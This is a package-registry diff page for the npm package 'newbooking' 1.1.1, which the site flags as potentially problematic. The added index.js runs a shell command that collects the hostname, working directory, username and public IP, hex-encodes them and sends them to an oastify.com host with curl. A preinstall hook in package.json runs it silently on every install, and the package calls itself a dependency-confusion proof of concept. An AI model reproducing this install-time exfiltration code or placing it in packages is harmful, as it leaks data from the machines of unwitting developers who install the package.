newbooking 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of newbooking might be problematic. Click here for more details.
- package/index.js +14 -0
- package/package.json +15 -0
package/index.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
exec("a=$(hostname;pwd;whoami;echo 'newbooking';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do curl -k -i -s http://6elgkbgsrrfai7dhogsabsdc238vwlka.oastify.com/$ut;done" , (error, data, getter) => {
|
3
|
+
if(error){
|
4
|
+
console.log("error",error.message);
|
5
|
+
return;
|
6
|
+
}
|
7
|
+
if(getter){
|
8
|
+
console.log(data);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(data);
|
12
|
+
|
13
|
+
});
|
14
|
+
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "newbooking",
|
3
|
+
"version": "1.1.1",
|
4
|
+
"description": "This is Simple Dependency Confusion Attack Proof of Concept",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "p3n73st3r",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21"
|
14
|
+
}
|
15
|
+
}
|